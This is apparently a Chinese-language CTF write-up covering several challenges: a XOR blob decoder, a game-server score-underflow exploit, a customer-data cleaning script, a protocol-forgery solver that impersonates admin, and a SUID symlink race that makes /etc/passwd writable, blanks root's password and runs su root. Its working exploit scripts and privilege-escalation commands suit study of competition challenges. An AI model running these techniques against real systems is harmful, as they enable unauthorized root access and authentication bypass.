0xfa, 0xc7, 0xa7, 0xf2, 0xd9, 0xfe, 0x9e, 0xaa, 0xb5, 0x4, 0xfe, 0xbe, 0x8a, 0x8f, 0x45, 0xba, 0xba, 0xba, 0xf2, 0xd9, 0xf6, 0x9e, 0xaa, 0x32, 0x3e, 0xb6, 0xa, 0xba, 0xba, 0xba, 0x51, 0x68, 0x7d, 0xfe, 0x9e, 0xbe, 0xba, 0xba, 0xba, 0xba, 0x7d, 0xfe, 0x9e, 0xae, 0x92, 0xba, 0xba, 0xba, 0x7d, 0xbe, 0x9e, 0xba, 0xba, 0xba, 0xba, 0x51, 0xb3, 0x31, 0xbe, 0x9e, 0x39, 0x7a, 0xb9, 0x33, 0xbe, 0x9e, 0x31, 0xfe, 0x9e, 0xae, 0x83, 0xbe, 0x9e, 0xb5, 0x37, 0x6b, 0xbb, 0xba, 0xba, 0xf2, 0xd9, 0xbe, 0x9e, 0xf2, 0x31, 0x36, 0x9e, 0xaa, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xbe, 0xbb, 0x32, 0xfe, 0x9e, 0xb7, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0x81, 0xfe, 0x9e, 0xae, 0xc7, 0xa3, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0xf2, 0x22, 0xf2, 0x31, 0x36, 0x9e, 0xaa, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xbe, 0xbb, 0x33, 0xfe, 0x9e, 0xa6, 0x51, 0xb2, 0x7d, 0xfe, 0x9e, 0xa6, 0xba, 0xba, 0xba, 0xba, 0xb5, 0xc, 0xfe, 0x9e, 0xa6, 0x32, 0xfe, 0x9e, 0xb4, 0x31, 0xbe, 0x9e, 0x39, 0x7a, 0xb8, 0x81, 0xfe, 0x9e, 0xae, 0xc7, 0xa0, 0x31, 0xbe, 0x9e, 0x39, 0x7a, 0xb8, 0xf2, 0x22, 0xf2, 0x31, 0x36, 0x9e, 0xaa, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xbe, 0xbb, 0x33, 0xfe, 0x9e, 0x9a, 0x51, 0xb2, 0x7d, 0xfe, 0x9e, 0x9a, 0xba, 0xba, 0xba, 0xba, 0xb5, 0xc, 0xfe, 0x9e, 0x9a, 0x32, 0xfe, 0x9e, 0xb5, 0xb5, 0xc, 0xfe, 0x9e, 0xb7, 0x7b, 0x42, 0xb8, 0x39, 0x5a, 0x85, 0x32, 0xfe, 0x9e, 0xb3, 0xb5, 0xc, 0xfe, 0x9e, 0xb7, 0x39, 0x5a, 0xb9, 0x7b, 0x5a, 0xbe, 0xb5, 0xc, 0xf6, 0x9e, 0xb4, 0x7b, 0x43, 0xbe, 0x39, 0x5b, 0xb5, 0xb1, 0x7b, 0x32, 0xfe, 0x9e, 0xb0, 0xb5, 0xc, 0xfe, 0x9e, 0xb4, 0x39, 0x5a, 0xb5, 0x7b, 0x5a, 0xb8, 0xb5, 0xc, 0xf6, 0x9e, 0xb5, 0x7b, 0x43, 0xbc, 0x39, 0x5b, 0xb9, 0xb1, 0x7b, 0x32, 0xfe, 0x9e, 0xb1, 0xb5, 0xc, 0xfe, 0x9e, 0xb5, 0x39, 0x5a, 0x85, 0x32, 0xfe, 0x9e, 0xb6, 0xb5, 0xc, 0xfe, 0x9e, 0xb3, 0x32, 0xfe, 0x9e, 0xb2, 0xb5, 0xc, 0xfe, 0x9e, 0xb0, 0x32, 0xfe, 0x9e, 0xb3, 0xb5, 0xc, 0xfe, 0x9e, 0xb2, 0x32, 0xfe, 0x9e, 0xb0, 0xb5, 0xc, 0xfe, 0x9e, 0xb1, 0x32, 0xfe, 0x9e, 0xb2, 0xb5, 0xc, 0xfe, 0x9e, 0xb6, 0x32, 0xfe, 0x9e, 0xb1, 0xb5, 0xc, 0xfe, 0x9e, 0xb2, 0x32, 0xfe, 0x9e, 0xb6, 0xb5, 0xc, 0xfe, 0x9e, 0xb3, 0xf2, 0xd9, 0xf6, 0x9e, 0xbe, 0xb5, 0xc, 0x3e, 0xbe, 0xa, 0xba, 0xba, 0xba, 0x32, 0xfe, 0xb6, 0xca, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0xb5, 0xc, 0xfe, 0x9e, 0xb0, 0xf2, 0xd9, 0xf6, 0x9e, 0xbe, 0xb5, 0xc, 0x3e, 0xbe, 0xa, 0xba, 0xba, 0xba, 0x32, 0xfe, 0xb6, 0xca, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0x81, 0xfe, 0x9e, 0xae, 0xc7, 0x98, 0xb5, 0xc, 0xfe, 0x9e, 0xb1, 0xf2, 0xd9, 0xf6, 0x9e, 0xbe, 0xb5, 0xc, 0x3e, 0xbe, 0xa, 0xba, 0xba, 0xba, 0x32, 0xfe, 0xb6, 0xca, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x51, 0xae, 0xf2, 0xd9, 0xfe, 0x9e, 0xbe, 0x7c, 0xfe, 0xbe, 0xca, 0x87, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x31, 0xbe, 0x9e, 0x39, 0x7a, 0xb8, 0x81, 0xfe, 0x9e, 0xae, 0xc7, 0x98, 0xb5, 0xc, 0xfe, 0x9e, 0xb6, 0xf2, 0xd9, 0xf6, 0x9e, 0xbe, 0xb5, 0xc, 0x3e, 0xbe, 0xa, 0xba, 0xba, 0xba, 0x32, 0xfe, 0xb6, 0xca, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x51, 0xae, 0xf2, 0xd9, 0xfe, 0x9e, 0xbe, 0x7c, 0xfe, 0xbe, 0xca, 0x87, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x53, 0xa3, 0x44, 0x45, 0x45, 0x7d, 0xbe, 0x9e, 0xba, 0xba, 0xba, 0xba, 0x51, 0xb2, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0x33, 0xbe, 0x9e, 0x31, 0xfe, 0x9e, 0xbe, 0x83, 0xbe, 0x9e, 0xc7, 0xa0, 0xf2, 0xd9, 0xbe, 0x9e, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xfe, 0xbe, 0xca, 0x32, 0xbe, 0xb0, 0x51, 0x6f, 0x7d, 0xfe, 0x9e, 0xa2, 0xae, 0xff, 0xab, 0xba, 0x7d, 0xbe, 0x9e, 0xba, 0xba, 0xba, 0xba, 0x51, 0xb2, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0x33, 0xbe, 0x9e, 0x31, 0xfe, 0x9e, 0xbe, 0x83, 0xbe, 0x9e, 0xb5, 0x37, 0x29, 0xba, 0xba, 0xba, 0x31, 0xbe, 0x9e, 0x7b, 0x5a, 0xb9, 0x23, 0x3, 0xa2, 0xba, 0xba, 0xba, 0x4d, 0x43, 0x31, 0x78, 0xb5, 0xc, 0x72, 0x31, 0xfe, 0x9e, 0xa2, 0x69, 0x52, 0x9f, 0x45, 0xba, 0xba, 0xba, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xb6, 0xb0, 0x89, 0x72, 0x31, 0x7b, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0x32, 0xbe, 0xb0, 0xf2, 0xd9, 0xbe, 0x9e, 0xf2, 0x31, 0x36, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xbe, 0xbb, 0x7b, 0x5a, 0xb8, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xb6, 0xb0, 0x7b, 0x43, 0xbc, 0xb1, 0x7b, 0x8f, 0x0, 0xba, 0xba, 0xba, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0x32, 0xbe, 0xb0, 0xd3, 0xfe, 0x9e, 0xa2, 0x29, 0xbb, 0xbb, 0xbb, 0xbf, 0xc2, 0xec, 0x8e, 0xa8, 0x33, 0xfe, 0x9e, 0xa2, 0x53, 0xe2, 0x45, 0x45, 0x45, 0xf2, 0x31, 0x3e, 0x9e, 0x9a, 0xbb, 0xba, 0xba, 0x31, 0xf6, 0x9e, 0xbe, 0x33, 0xb2, 0xf2, 0x3b, 0x7e, 0xb2, 0xbb, 0xba, 0xba, 0x79]
defdecrypt_blob():
dec = []
for i in range(0x491):
dec.append(IDA_7ffc3254f000[i] ^ 0xba)
return dec
with open("dec.bin", "wb") as f:
f.write(bytes(decrypt_blob()))鸡爪流高手
请求格式:
"GAME" | u32be(total_len) | u8(cmd) | payload
响应格式:
"GAME" | u32be(total_len) | u8(status) | utf8_text
命令:
1:如果自己是榜一,返回 flag
2:查看自己分数和排名
3:查看排行榜附近
4:重置挑战状态
5:随机匹配对手
6:查看棋盘
7:下棋,payload 是 %d,%d
8:认输
player 初始化时,自己为 50 分,其余为 50 40 30 20 20 10 2000000
在给自己的分数调用函数 score_apply_buggy_update 中存在下溢漏洞,让自己分数变成负的就够拿第一了:
思路:
开局 reset 后是 50 分,赢 10 分对手,自己 50 -> 53,对手 10 -> 7 , 输 20 分对手,自己 53 -> 37,再输另一个 20 分对手,自己 37 -> 23 ,输 30 分对手,自己 23 -> 15 ,输已经变成 38 分的对手,自己 15 -> 10 ,最后输给已经变成 7 分的对手,delta = -11,自己 10 + (-11) 下溢成 4294967295 ,之后直接读指令即可。
没抽到想要的分数可以直接认输重抽。
赢法:找个边连下 4 个即可。
eg: (10,14) (11,14) (12,14) (13,14) (14,14)
输法:随便下,不用管。
eg: (14,14) (12,14) (10,14) (8,14) (6,14)
#!/usr/bin/env python3
import argparse
import re
import socket
import struct
MAGIC = b"GAME"
WIN = [(10, 14), (11, 14), (12, 14), (13, 14), (14, 14)]
LOSE = [(14, 14), (12, 14), (10, 14), (8, 14), (6, 14)]
PLAN = [
(10, "Win", WIN),
(20, "Lose", LOSE),
(20, "Lose", LOSE),
(30, "Lose", LOSE),
(38, "Lose", LOSE),
(7, "Lose", LOSE),
]
MATCH_RE = re.compile(r"^Matched (.+) Score=(\d+) You=Black$")
defpkt(cmd: int, payload: bytes = b"") -> bytes:
return MAGIC + struct.pack(">I", 9 + len(payload)) + bytes([cmd]) + payload
defrecv_exact(sock: socket.socket, n: int) -> bytes:
out = b""
while len(out) < n:
chunk = sock.recv(n - len(out))
ifnot chunk:
raise EOFError("connection closed")
out += chunk
return out
defreq(sock: socket.socket, cmd: int, payload: bytes = b"", verbose: bool = False) -> str:
sock.sendall(pkt(cmd, payload))
head = recv_exact(sock, 9)
if head[:4] != MAGIC:
raise RuntimeError(f"bad magic: {head[:4]!r}")
size = struct.unpack(">I", head[4:8])[0] - 9
body = recv_exact(sock, size).decode("utf-8", errors="replace")
if verbose:
print(f"[{cmd}] {body}")
return body
defpick_score(sock: socket.socket, target: int, verbose: bool) -> tuple[str, int]:
whileTrue:
text = req(sock, 5, verbose=verbose)
m = MATCH_RE.match(text)
ifnot m:
raise RuntimeError(f"bad match reply: {text!r}")
name, score = m.group(1), int(m.group(2))
print(f"match {name} score={score}")
if score == target:
return name, score
text = req(sock, 8, verbose=verbose)
ifnot text.startswith("Draw Delta=0 "):
raise RuntimeError(f"redraw failed: {text!r}")
defplay(sock: socket.socket, moves: list[tuple[int, int]], expect: str, verbose: bool) -> str:
last = ""
for x, y in moves:
last = req(sock, 7, f"{x},{y}".encode(), verbose=verbose)
ifnot last.startswith("Continue "):
break
ifnot last.startswith(expect + " "):
raise RuntimeError(f"expected {expect}, got {last!r}")
return last
defmain() -> None:
ap = argparse.ArgumentParser(description="Exploit")
ap.add_argument("--host", default="114.66.24.221")
ap.add_argument("--port", type=int, default=33589)
ap.add_argument("--verbose", action="store_true")
args = ap.parse_args()
sock = socket.create_connection((args.host, args.port))
try:
print(req(sock, 4, verbose=args.verbose))
print(req(sock, 2, verbose=args.verbose))
for target, outcome, moves in PLAN:
name, _ = pick_score(sock, target, args.verbose)
print(f"target={target} opponent={name} outcome={outcome}")
print(play(sock, moves, outcome, args.verbose))
print(req(sock, 2, verbose=args.verbose))
print(req(sock, 1, verbose=args.verbose))
finally:
sock.close()
if __name__ == "__main__":
main()Misc:
Merlin
NCTF{88478dd1-ec24-4f2b-a4a5-a25e85b5c868}
What a mess!
import csv
import re
import unicodedata
from decimal import Decimal, InvalidOperation
ZW_RE = re.compile(r"[\u200b\u200c\u200d\ufeff]")
ALLOWED_PREFIXES = {
"135",
"136",
"137",
"138",
"139",
"150",
"151",
"152",
"158",
"159",
"186",
"188",
}
ID_WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
ID_CHECK_MAP = "10X98765432"
defnormalize_text(value: str) -> str:
return ZW_RE.sub("", unicodedata.normalize("NFKC", value or"")).strip()
defnormalize_phone(value: str) -> str:
digits = "".join(ch for ch in normalize_text(value) if ch.isdigit())
if len(digits) == 13and digits.startswith("86"):
digits = digits[2:]
return digits
defis_valid_phone(phone: str) -> bool:
return len(phone) == 11and phone[:3] in ALLOWED_PREFIXES
defnormalize_id_card(value: str) -> str:
return normalize_text(value).replace(" ", "").upper()
defis_valid_id_card(id_card: str) -> bool:
if len(id_card) != 18:
returnFalse
ifnot id_card[:17].isdigit():
returnFalse
if id_card[-1] notin"0123456789X":
returnFalse
total = sum(int(ch) * weight for ch, weight in zip(id_card[:17], ID_WEIGHTS))
return ID_CHECK_MAP[total % 11] == id_card[-1]
defnormalize_balance(value: str):
cleaned = normalize_text(value)
for token in ("CNY", "¥", ","):
cleaned = cleaned.replace(token, "")
try:
return Decimal(cleaned)
except InvalidOperation:
returnNone
defis_li_surname(name: str) -> bool:
return name.startswith("李") or bool(re.match(r"(?i)^li(?=[^a-z]|$)", name))
defmain():
deduped = []
seen = set()
with open("customer_dump.csv", "r", encoding="utf-8-sig", newline="") as f:
reader = csv.DictReader(f)
for row in reader:
record = (
normalize_text(row["Name"]),
normalize_id_card(row["ID_Card"]),
normalize_phone(row["Phone"]),
normalize_balance(row["Balance"]),
)
if record in seen:
continue
seen.add(record)
deduped.append(record)
q1 = 0
q2 = 0
q3 = 0
q4 = Decimal("0")
q5 = 0
for name, id_card, phone, balance in deduped:
phone_ok = is_valid_phone(phone)
id_ok = is_valid_id_card(id_card)
if phone_ok:
q1 += 1
if id_ok:
q2 += 1
ifnot (phone_ok and id_ok):
continue
q3 += 1
if balance isnotNoneand balance >= 0:
q4 += balance
if is_li_surname(name):
q5 += 1
print(q1)
print(q2)
print(q3)
print(f"{q4:.2f}")
print(q5)
if __name__ == "__main__":
main()
ezProtocol
协议文件给出关键常量:
Magic = 0x47414D45,即 GAME
TypeAuth = 0x01
TypeQuery = 0x02
TypeGetFlag = 0x03
HeaderSize = 10
Key = []byte{0x4e, 0x43, 0x54, 0x46},即 NCTF
抓包中应用层数据都以 GAME 开头,说明协议结构就是:
4 bytes magic
1 byte type
1 byte payload_len
4 bytes checksum
payload
还原后确认:
负载是 JSON
负载加密方式是按字节异或:payload[i] ^ "NCTF"[i%4]
校验方式是:crc32(header(校验字段置0) + encrypted_payload),大端
抓包还原的关键明文
{"username":"ctfer","password":"NCTF2026"}利用思路
先发送 TypeAuth(0x01),使用抓包恢复出的合法账号:
{"username":"ctfer","password":"NCTF2026"}
服务端返回:
{"message":"Authenticated","status":"ok"}
保持同一 TCP 连接,发送 TypeGetFlag(0x03):
{"username":"admin","password":"x"}
服务端只检查当前连接已登录,同时错误地信任请求体中的 username=admin
返回 flag
#python solve_ezProtocol.py 114.66.24.221 48082 --mode auth
import argparse
import json
import socket
import struct
import zlib
MAGIC = b"GAME"
KEY = b"NCTF"
TYPE_AUTH = 0x01
TYPE_QUERY = 0x02
TYPE_GETFLAG = 0x03
defxor_payload(data: bytes) -> bytes:
return bytes(data[i] ^ KEY[i % len(KEY)] for i in range(len(data)))
defbuild_packet(msg_type: int, payload_obj: dict) -> bytes:
payload = json.dumps(payload_obj, separators=(",", ":")).encode()
enc_payload = xor_payload(payload)
header = bytearray(MAGIC + bytes([msg_type, len(enc_payload)]) + b"\x00\x00\x00\x00")
checksum = zlib.crc32(header + enc_payload) & 0xFFFFFFFF
header[6:10] = struct.pack(">I", checksum)
return bytes(header) + enc_payload
defrecv_packet(sock: socket.socket) -> tuple[int, dict]:
header = recv_exact(sock, 10)
if header[:4] != MAGIC:
raise ValueError(f"bad magic: {header[:4]!r}")
msg_type = header[4]
length = header[5]
recv_checksum = struct.unpack(">I", header[6:10])[0]
payload = recv_exact(sock, length)
verify_header = bytearray(header)
verify_header[6:10] = b"\x00\x00\x00\x00"
calc_checksum = zlib.crc32(bytes(verify_header) + payload) & 0xFFFFFFFF
if calc_checksum != recv_checksum:
raise ValueError(f"checksum mismatch: got {recv_checksum:#x}, expect {calc_checksum:#x}")
plain = xor_payload(payload)
return msg_type, json.loads(plain.decode())
defrecv_exact(sock: socket.socket, n: int) -> bytes:
chunks = []
remain = n
while remain:
chunk = sock.recv(remain)
ifnot chunk:
raise ConnectionError("connection closed before packet completed")
chunks.append(chunk)
remain -= len(chunk)
returnb"".join(chunks)
defexchange(sock: socket.socket, msg_type: int, payload_obj: dict) -> dict:
sock.sendall(build_packet(msg_type, payload_obj))
_, resp = recv_packet(sock)
return resp
defmode_direct(sock: socket.socket) -> list[dict]:
steps = []
steps.append(exchange(sock, TYPE_GETFLAG, {"username": "admin", "password": "x"}))
return steps
defmode_auth_then_admin(sock: socket.socket) -> list[dict]:
steps = []
steps.append(exchange(sock, TYPE_AUTH, {"username": "ctfer", "password": "NCTF2026"}))
steps.append(exchange(sock, TYPE_GETFLAG, {"username": "admin", "password": "x"}))
return steps
defmode_session_confusion(sock: socket.socket) -> list[dict]:
steps = []
sock.sendall(
build_packet(TYPE_AUTH, {"username": "ctfer", "password": "NCTF2026"})
+ build_packet(TYPE_AUTH, {"username": "admin", "password": "x"})
)
steps.append(recv_packet(sock)[1])
steps.append(recv_packet(sock)[1])
steps.append(exchange(sock, TYPE_GETFLAG, {"username": "admin", "password": "x"}))
return steps
defmain() -> None:
parser = argparse.ArgumentParser(description="ezProtocol solver")
parser.add_argument("host", help="target host")
parser.add_argument("port", type=int, help="target port")
parser.add_argument(
"--mode",
choices=["direct", "auth", "confusion"],
default="direct",
help="direct: send getflag as admin directly; auth: auth as ctfer then getflag as admin; confusion: replay the dual-auth pattern from the pcap",
)
args = parser.parse_args()
with socket.create_connection((args.host, args.port), timeout=5) as sock:
if args.mode == "direct":
responses = mode_direct(sock)
elif args.mode == "auth":
responses = mode_auth_then_admin(sock)
else:
responses = mode_session_confusion(sock)
for idx, resp in enumerate(responses, 1):
print(f"[step {idx}] {json.dumps(resp, ensure_ascii=False)}")
if __name__ == "__main__":
main()Quantum Vault
将初始 100 USD 转换为高汇率币种,再去collect,然后去拿shell
import re
import select
import socket
import sys
import time
HOST = "114.66.24.221"
PORT = 46978
PROMPT_RE = re.compile(rb"\d+@[A-Z]+> ")
ANSI_RE = re.compile(rb"\x1b\[[0-9;]*m")
TIMEOUT_MARK = "量子链路超时".encode()
defstrip_ansi(data: bytes) -> str:
return ANSI_RE.sub(b"", data).decode("utf-8", errors="replace")
classClient:
def__init__(self, host: str, port: int):
self.sock = socket.create_connection((host, port), timeout=5)
self.sock.setblocking(False)
def_recv_until(self, idle: float, total: float) -> bytes:
buf = b""
start = time.time()
last = start
whileTrue:
now = time.time()
if now - start > total:
break
timeout = min(idle, total - (now - start))
readable, _, _ = select.select([self.sock], [], [], timeout)
ifnot readable:
if buf and time.time() - last >= idle:
break
continue
chunk = self.sock.recv(4096)
ifnot chunk:
break
buf += chunk
last = time.time()
if PROMPT_RE.search(buf) or TIMEOUT_MARK in buf:
break
return buf
defrecv_until_prompt(self) -> bytes:
return self._recv_until(idle=0.2, total=8.0)
defcmd(self, line: str) -> str:
self.sock.sendall(line.encode() + b"\n")
return strip_ansi(self.recv_until_prompt())
defrecv_some(self, wait: float) -> str:
return strip_ansi(self._recv_until(idle=wait, total=wait))
defclose(self) -> None:
try:
self.sock.close()
except OSError:
pass
defmain(argv: list[str]) -> int:
cli = Client(HOST, PORT)
try:
banner = strip_ansi(cli.recv_until_prompt())
sys.stdout.write(banner)
for cmd in argv[1:]:
sys.stdout.write(f"$ {cmd}\n")
if cmd.startswith("WAIT "):
wait = float(cmd.split(" ", 1)[1])
sys.stdout.write(cli.recv_some(wait))
else:
sys.stdout.write(cli.cmd(cmd))
finally:
cli.close()
return0
if __name__ == "__main__":
raise SystemExit(main(sys.argv))
找能提权的东西
发现/usr/local/bin/q-vault-sync,这玩意允许将一个文件“同步”到 /tmp/ 目录下的子目录中。
mkdir -p /tmp/exploit
echo "test" > /tmp/mykey
# 终端 1: 疯狂切换文件与软链接
while true; do
touch /tmp/exploit/synced_key.dat;
rm /tmp/exploit/synced_key.dat;
ln -s /etc/passwd /tmp/exploit/synced_key.dat;
rm /tmp/exploit/synced_key.dat;
done &
# 终端 2: 疯狂运行 SUID 程序直到成功
while true; do
/usr/local/bin/q-vault-sync -s /tmp/mykey -d /tmp/exploit 2>/dev/null
ls -l /etc/passwd | grep ctfuser && break
done然后去改密码
cp /etc/passwd /tmp/passwd.bak
cat /etc/passwd | sed 's/^root:x:/root::/' > /tmp/passwd.new
cat /tmp/passwd.new > /etc/passwd
python3 -c 'import pty; pty.spawn("/bin/bash")'
su root
结束